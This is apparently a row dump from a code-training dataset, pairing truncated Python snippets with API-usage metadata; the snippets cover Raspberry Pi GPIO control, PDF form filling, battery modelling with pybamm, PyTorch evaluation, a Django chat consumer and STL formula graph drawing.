def output_alarm()... | null | piepser.py | piepser.py | py | 2,754 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "RPi.GPIO.setmode",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "RPi.GPIO",
"line_number": 16,
"usage_type": "name"
},
{
"api_name": "RPi.GPIO.BOARD",
"line_number": 16,
"usage_type": "attribute"
},
{
"api_name": "RPi.GPIO.setup",
"l... |
550921661 | import PyPDF2 #Необходимо докачать pip'oм
class write:
def writeToPdf(self, ankteta, out):
print('writeToPdf start')
inpt = open(anketa, 'rb')
reads = PyPDF2.PdfFileReader(inpt)
read = reads.getFormTextFields()
Page = reads.getPage(0)
print(read.keys())
f... | null | mainapp/clients/main_file_filler.py | main_file_filler.py | py | 1,073 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "PyPDF2.PdfFileReader",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "PyPDF2.PdfFileWriter",
"line_number": 21,
"usage_type": "call"
}
] |
259905922 | import pybamm
import numpy as np
import matplotlib.pyplot as plt
import sys
# set logging level and increase recursion limit
pybamm.set_logging_level("INFO")
sys.setrecursionlimit(10000)
# load models
models = [
pybamm.lead_acid.Full(name="1D Full"),
pybamm.lead_acid.Composite(name="1D composite"),
pybamm... | null | results/2plus1D/compare_lead_acid_2plus1D.py | compare_lead_acid_2plus1D.py | py | 2,402 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "pybamm.set_logging_level",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "sys.setrecursionlimit",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "pybamm.lead_acid.Full",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "py... |
433348604 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from asyncio.base_events import BaseEventLoop
import logging
import functools
import os
import signal
import pathlib
from sqlalchemy.sql.selectable import Select
from packages.env_helpers import load_env, require_env
BASE_DIR = pathlib.Path(__file__).parent.absolute().r... | null | app/src/main.py | main.py | py | 16,405 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "pathlib.Path",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "packages.env_helpers.load_env",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "os.getenv",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "logging.INFO",
... |
267172641 | # Internal
from models import model_factory
# The Basic Library
import argparse
import os
import logging
import numpy as np
import sys
import copy
import math
logger = logging.getLogger()
logger.setLevel(logging.INFO)
# Other Required Library
import torch
import torchvision.transforms as transforms
import torchvisi... | null | tools/eval.py | eval.py | py | 3,094 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "logging.getLogger",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "logging.INFO",
"line_number": 14,
"usage_type": "attribute"
},
{
"api_name": "os.environ",
"line_number": 24,
"usage_type": "attribute"
},
{
"api_name": "os.path.join",
... |
89734311 | import json
from datetime import datetime
from asgiref.sync import async_to_sync
from channels.generic.websocket import WebsocketConsumer
from django.db.models import Q
from rest_framework.authtoken.models import Token
from app.models import ChatRoom, Messages, Alert, User
from app.serializers import ChatRoomSerializ... | null | chatapi/consumers.py | consumers.py | py | 7,704 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "channels.generic.websocket.WebsocketConsumer",
"line_number": 16,
"usage_type": "name"
},
{
"api_name": "app.models.ChatRoom.objects.filter",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "app.models.ChatRoom.objects",
"line_number": 31,
"usage_t... |
340795377 | from collections import namedtuple
from distutils.version import LooseVersion
from graphviz import Digraph
import torch
from torch.autograd import Variable
from stlcg import Expression, STL_Formula
import IPython
Node = namedtuple('Node', ('name', 'inputs', 'attr', 'op'))
def make_stl_graph(form, node_attr=dict(style... | null | src/stlviz.py | stlviz.py | py | 4,924 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "collections.namedtuple",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "graphviz.Digraph",
"line_number": 33,
"usage_type": "call"
},
{
"api_name": "torch.is_tensor",
"line_number": 55,
"usage_type": "call"
},
{
"api_name": "stlcg.Expressi... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.